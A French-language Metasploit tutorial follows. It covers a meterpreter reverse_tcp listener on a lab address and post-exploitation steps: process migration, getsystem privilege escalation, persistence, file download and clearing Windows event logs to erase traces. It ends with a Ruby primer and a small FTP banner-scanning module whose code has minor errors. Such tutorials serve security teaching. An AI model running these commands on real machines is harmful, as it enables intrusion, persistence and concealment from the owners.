Metasploit Framework est un outil pour du test, de l’analyse de vulnérabilités et l’exécution d’exploits sur une machine distante. Il est écrit en Ruby. L’article fera une brève introduction a Ruby qui sera utile pour comprendre les différents modules de Metasploit.
Edition du .bashrc pour ajout d’alias
Rechargement du bashrc pour prise en compte des alias sans deco/reco
Répertoire contenant les modules
Mise a jour de metasploit
Ouverture de la console metasploit
recherche d’exploit
affichage par catégorie
utilisation des modules spécifique puis affichage des informations du module
info (show options)
Générer des payloads
Exploitation basique
Visualiser la système d’exploitation
nmap -O 192.168.204.137
Liste les ports utilisée
Liste les versions de services utilisées
Création d’un payload
Chargement du module d’écoute du payload
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.204.134
exploit
récupération des informations post exploitation
sysinfo
getuid
getpid
Migration vers un processus persistant après avoir listé les processus, puis effacement des traces dans l’event manager de windows
#dans par exemple svchost.exe
migrate 1865
#Escalade de privilège
getsystem
#persistance au reboot
run persistence
#récuperation de fichier
download myfile.exe
#effacement des traces
run event_manager help
run event_manager -c
run event_manager -i
Exemple d’utilisation d’extensions post exploit
help
Introduction à Ruby
Le développement de modules se fait en ruby, on va utiliser « irb » qui est un terminal ruby interactif
Manipulation de variable simple
b="est presente"
a + b
Définition et utilisation de fonction, le puts permet un retour a la ligne, print non
mynumber=a*2
puts(mynumber)
end
multiplication(10)
#return 20
Exemple dans un fichier
Manipulation simple de variable dans un fichier avec Creation du fichier, autorise l’exécution
#!/usr/bin/env ruby
print("donnez un valeur A \n")
a = gets
print("donnez un valeur B \n")
b = gets
c =Integer(a)*Integer(b)
puts(c)
./premierfichier.rb
Manipulation de variable avec une fonction, variable global(avec $) vs variable local
$myvariable = 10
def functiondeteste()
myvariable = 99
puts(myvariable)
puts($myvariable)
end
functiondeteste()
Exemple de manipulation de chaine avec split
data = "liste de mot a decouper"
montableau=data.split(" ")
puts(montableau[0])
#affiche "liste"
la même chose dans une fonction avec un retour de résultat
def fonctiondesplit(mavariable)
montableau=mavariable.split(" ")
return montableau[0]
end
finalestring=fonctiondesplit("ceci est la chaine a decouper")
puts(finalestring)
#affiche "liste"
Développement de modules pour metasploit avec ruby
On démarre par récupérer la version de metasploit
version
msf5 > version
Framework: 5.0.76-dev
Console : 5.0.76-dev
L’ensemble des modules peuvent se retrouver dans /usr/share/metasploit-framework/modules/
Exemple de création d’un module qui va retrouver une bannière d’un serveur FTP
nano /usr/share/metasploit-framework/modules/auxiliary/scanner/ftp/getbaniereftp.rb
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'FTP Get Baniere',
'Description' => 'Detect FTP Baniere.',
'Author' => 'laintimes.com',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
])
end
def run_host(target_host)
begin
res = connect(true, false)
if(banner)
print("{#rhost} tourne avec #{banner}")
else
print("no Banner Found")
end
disconnect
end
end
end
On doit mettre à jour la base et tester son execution
reload_all
use auxilary/scanner/ftp/ftpbaniere
info